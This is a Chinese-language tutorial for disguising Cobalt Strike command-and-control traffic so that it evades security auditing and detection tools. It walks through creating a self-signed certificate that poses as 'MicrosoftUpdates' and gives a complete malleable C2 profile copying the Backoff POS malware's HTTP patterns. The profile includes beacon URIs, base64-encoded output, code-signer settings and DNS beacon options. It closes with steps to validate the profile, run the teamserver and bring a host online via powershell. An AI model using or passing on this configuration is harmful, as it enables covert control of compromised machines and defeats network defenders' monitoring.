C2 profile流量加密混淆
生成证书修改C2 profile加密混淆实际上就是对流量加密传输,目的是为了逃逸安全审计,穿透检测器。
生成免费的ssl证书
在运行cobalt strike 默认使用的cobaltstrike store证书,生成新证书的意义是将使用我们现在的制定好的证书。默认的证书cobalt strike会被检测。
keytool -genkey -alias wkk -keyalg RSA -validity 36500 -keystore wkk.store
wkk wkk.store 两个字符串都要记住,因为修改profile要使用
输入密码 后提示地区信息 按照提示一步一步填写。US MicrosoftUpdates-y 生成证书
证书文件已经生成好。
创建并修改C2-profile文件
set sample_name "moonsec POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101
Firefox/24.0";
#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}#设置
code-signer{
set keystore "wkk.store";
set password "wkk123";
set alias "wkk";
}#指定 DNS beacon 不用的时候指定到 IP 地址
set dns_idle "8.8.4.4";
#每个单独 DNS 请求前强制睡眠时间
set dns_sleep "0";
#通过 DNS 上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php
/windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";
print;
} }
server {
output {
print;
} } }
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
} }
server {
header "Content-Type" "text/plain";
output {
base64;
print;
} } }
注意设置这两个地方
#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}#设置
code-signer{
set keystore "wkk.store";
set password "wkk123";
set alias "wkk";
c2link检测c2 profile文件是否可用
./c2link wkk.profile
配置teamserver文件运行上线
修改teamserer默认端口号
创建https监听器
测试是否正常访问
验证是否成功加密
powershell上线一台主机whireshark抓包测试数据是否加密
验证加密